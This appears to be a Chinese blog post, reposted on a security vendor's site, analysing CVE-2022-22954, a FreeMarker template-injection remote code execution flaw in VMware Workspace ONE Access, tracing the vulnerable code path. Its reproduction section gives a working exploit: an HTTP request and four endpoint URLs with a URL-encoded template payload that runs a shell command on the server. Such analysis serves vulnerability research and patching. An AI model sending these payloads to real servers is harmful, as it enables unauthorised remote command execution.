长亭百川云 - 文章详情

VMware Workspace ONE Access(CVE-2022-22954)漏洞分析 - nice_0e3

博客园 - nice_0e3

32

2024-07-20

VMware Workspace ONE Access(CVE-2022-22954)漏洞分析

碎碎念

“像让这个世界听听自己的意见”

环境搭建

导入ova的时候要设置下fqdn
,配置数据库就安装完成了

启动脚本在/opt/vmware/horizon/workspace/bin
目录下

setenv.sh
中配置远程调试:

/usr/java/jre-vmware/bin/java -Djava.util.logging.config.file=/opt/vmware/horizon/workspace/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -server -Djdk.tls.ephemeralDHKeySize=2048 -XX:+AggressiveOpts -Dliquibase.should.run=true -Djavax.net.ssl.trustStore=/usr/local/horizon/conf/idm-cacerts -Dset.rmi.server.hostname=true -Dvertx.disableFileCPResolving=true -XX:MaxMetaspaceSize=768m -XX:MetaspaceSize=768m -Xss1m -Xmx3968m -Xms3968m -XX:+UseParallelGC -XX:+UseParallelOldGC -XX:NewRatio=3 -XX:SurvivorRatio=12 -Dorg.apache.xml.security.ignoreLineBreaks=true -XX:+DisableExplicitGC -XX:+UseBiasedLocking -XX:-LoopUnswitching -Djava.security.properties=/opt/vmware/horizon/workspace/conf/idm_fips.security -Djdk.tls.namedGroups=secp521r1,secp384r1,secp256r1 -Didm.fips.mode.required=true -Dorg.bouncycastle.fips.approved_only=true -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /usr/local/horizon/jre-endorsed/bc-fips-1.0.2.1.jar:/usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/vmware/horizon/workspace -Dcatalina.home=/usr/share/tomcat -Djava.io.tmpdir=/opt/vmware/horizon/workspace/temp org.apache.catalina.startup.Bootstrap start
iptables -I INPUT -p tcp --dport 5005 -j ACCEPT

开放防火墙策略

模板注入漏洞分析

漏洞分析

定位到漏洞点中

/Users/nice0e3/Desktop/漏洞调试/webapps/catalog-portal/WEB-INF/lib/endusercatalog-ui-1.0-SNAPSHOT-classes.jar!/templates/customError.ftl
中使用freemarker的eval语法渲染errorObj

https://freemarker.apache.org/docs/ref_builtins_expert.html#ref_builtin_eval

在com.vmware.endusercatalog.ui.web.UiErrorController#handleGenericError
,会使用customError.ftl
的模板进行渲染

寻找调用com.vmware.endusercatalog.ui.web.UiErrorController#handleGenericError
的地方,发现在com.vmware.endusercatalog.ui.web.UiErrorController#sendError
调用

但这里的errorMessage
是从request.getAttribute("javax.servlet.error.message");
获取过来的,会导致这里的errorMessage的内容并不可控。

下面来寻找javax.servlet.error.message
可控位置

发现com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver#resolveException
符合条件

这里javax.servlet.error.message
可控,并且回调用返回/ui/view/error
路由,完成后面的串联。

handleHttpMediaTypeNotAcceptableException
和handleAnyGenericException
对应的都是全局异常的处理过程

但该全局异常处理只作用于UIController.class, HubUIController.class, WorkspaceOauth2CodeVerificationController.class
中,在这三个类中,异常处理会走入到com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver#handleAnyGenericException
方法中

这里传递异常对象,去获取异常信息,然后调用createErrorJson去转化成json格式。

下面需要继续去寻找msgArgs中可控位置,也就是异常信息。

在com.vmware.endusercatalog.ui.UiApplication
类中自动装载

@Configuration
@EnableAutoConfiguration(
    exclude = {HazelcastAutoConfiguration.class, HibernateJpaAutoConfiguration.class, RedisAutoConfiguration.class, RedisRepositoriesAutoConfiguration.class, DataSourceAutoConfiguration.class}
)
@ComponentScan(
    basePackages = {"com.vmware.endusercatalog.localization", "com.vmware.endusercatalog.auth", "com.vmware.endusercatalog.cache.engine.config", "com.vmware.endusercatalog.cache.client.config", "com.vmware.endusercatalog.cache.client.stats", "com.vmware.endusercatalog.cache.seed", "com.vmware.endusercatalog.persistence.engine.seed", "com.vmware.endusercatalog.adapters", "com.vmware.endusercatalog.mdm", "com.vmware.endusercatalog.workspace", "com.vmware.endusercatalog.okta", "com.vmware.endusercatalog.db", "com.vmware.endusercatalog.repositories", "com.vmware.endusercatalog.toggles", "com.vmware.endusercatalog.ui", "com.vmware.endusercatalog.adapters", "com.vmware.endusercatalog.console.web", "com.vmware.endusercatalog.hub.ui.web", "com.vmware.endusercatalog.security", "com.vmware.endusercatalog.cache.client", "com.vmware.endusercatalog.api.web.common", "com.vmware.endusercatalog.utils", "com.vmware.endusercatalog.multihub.service"}
)
@EnableAspectJAutoProxy
public class UiApplication {
    public UiApplication() {
    }

    public static void main(String[] args) {
        String[] newArray = ClArgumentsParser.addDisableCheckForFreeMarkerTemplateLocation(args);
        ClArgumentsParser.addCliConfigToParentClasspath("eucConfig", newArray);
        (new SpringApplicationBuilder(new Class[]{UiApplication.class})).run(newArray);
    }
}

再来看到com.vmware.endusercatalog.ui.config.WebConfig
,配置/ui, /hub-ui, /hub-ui/byob, /logout, /ui/oauth/verify
走该拦截器

com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor

前面获取deviceUdid
和deviceType
,authContextBuilder.build();

public AuthContext build() {
            return new AuthContext(this);
        }
AuthContext(Builder builder) {
        if (!StringUtils.hasText(builder.tenantCode)) {
            throw new InvalidAuthContextException(new Object[0]);
        } else {
            this.deviceId = StringUtils.hasText(builder.deviceId) ? builder.deviceId : null;
            this.deviceType = StringUtils.hasText(builder.deviceType) ? builder.deviceType : null;
            this.tenantCode = StringUtils.lowerCase(builder.tenantCode);
            this.authorizationToken = StringUtils.hasText(builder.authorizationToken) ? builder.authorizationToken : null;
            this.baseUrl = (String)StringUtils.defaultIfBlank(builder.baseUrl, (CharSequence)null);
            this.authorizationTokenRevoked = builder.authorizationTokenRevoked;
            this.userAgent = builder.userAgent;
            this.locale = builder.locale;
            this.authAdapter = builder.authAdapter;
            this.multiHubSupportedDevice = builder.multiHubSupportedDevice;
            if (!this.isValidRequest()) {
                throw new InvalidAuthContextException(new Object[]{this.tenantCode, this.deviceId, this.deviceType, this.authorizationTokenRevoked});
            }
        }
    }

下面有个this.isValidRequest()
判断

public boolean isNativeAppRequestWithAuthToken() {
        return this.isRequestWithDeviceParams() && this.hasAuthorizationToken();
    }
private boolean isRequestWithDeviceParams() {
        return this.deviceId != null && this.deviceType != null;
    }

判断deviceId
和deviceType
参数不为空,

throw new InvalidAuthContextException(new Object[]{this.tenantCode, this.deviceId, this.deviceType, this.authorizationTokenRevoked});

最后面返回一个异常

下面来看看spring mvc的处理

在springmvc中handle处理完成后走到这个位置,将异常信息处理给this.processDispatchResult
的下一次调用

org.springframework.web.servlet.DispatcherServlet#processHandlerException
方法中会处理handle异常的一些处理

protected ModelAndView processHandlerException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) throws Exception {
    request.removeAttribute(HandlerMapping.PRODUCIBLE_MEDIA_TYPES_ATTRIBUTE);
    ModelAndView exMv = null;
    if (this.handlerExceptionResolvers != null) {
        Iterator var6 = this.handlerExceptionResolvers.iterator();

        while(var6.hasNext()) {
            HandlerExceptionResolver resolver = (HandlerExceptionResolver)var6.next();
            exMv = resolver.resolveException(request, response, handler, ex);
            if (exMv != null) {
                break;
            }
        }
    }

代码中遍历spring 中配置的一些异常转换器进行调用resolveException
方法

然后后面spring 的一些反射调用来来到com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver#handleAnyGenericException

漏洞复现

根据上文梳理一下,请求路由需要为UIController.class, HubUIController.class, WorkspaceOauth2CodeVerificationController.class
其中一个类,传递error
和deviceUdid
参数,使其能走到异常中,这几个类的异常会走到com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver#handleAnyGenericException
中类处理异常,并将异常信息request.setAttribute("javax.servlet.error.message", errorJson);
,设置完成后返回/ui/view/error
,来到/ui/view/error
路由这边,调用request.getAttribute("javax.servlet.error.message");
, /ui/view/error
的路由方法调用getErrorPage
-> this.handleGenericError
,将前面获取到的异常信息调用model.put("errorObj", errorMessage);
,最后面返回customError
,进行freemark模块渲染,customError.ftl
,模块中的errorObj?eval
会将errorObj
内容执行。

GET /catalog-portal/ui/oauth/verify?error=1111&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d HTTP/1.1
Host: test.test.local
Connection: close
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
sec-ch-ua-platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://test.test.local/SAAS/admin/roles
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/catalog-portal/ui?code=1&state=1&error=1111&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d

/catalog-portal/hub-ui?code=1&state=1&error=1111&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d

/catalog-portal/ui/oauth/verify?error=1111&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d

/catalog-portal/hub-ui/byob?code=1&state=1&error=1111&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d

/opt/vmware/horizon/workspace/webapps/catalog-portal/

参考

CVE-2022-22954 VMware Workspace ONE Access Server-side Template Injection RCE

结尾

挺有意思的一个漏洞,受益颇多

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2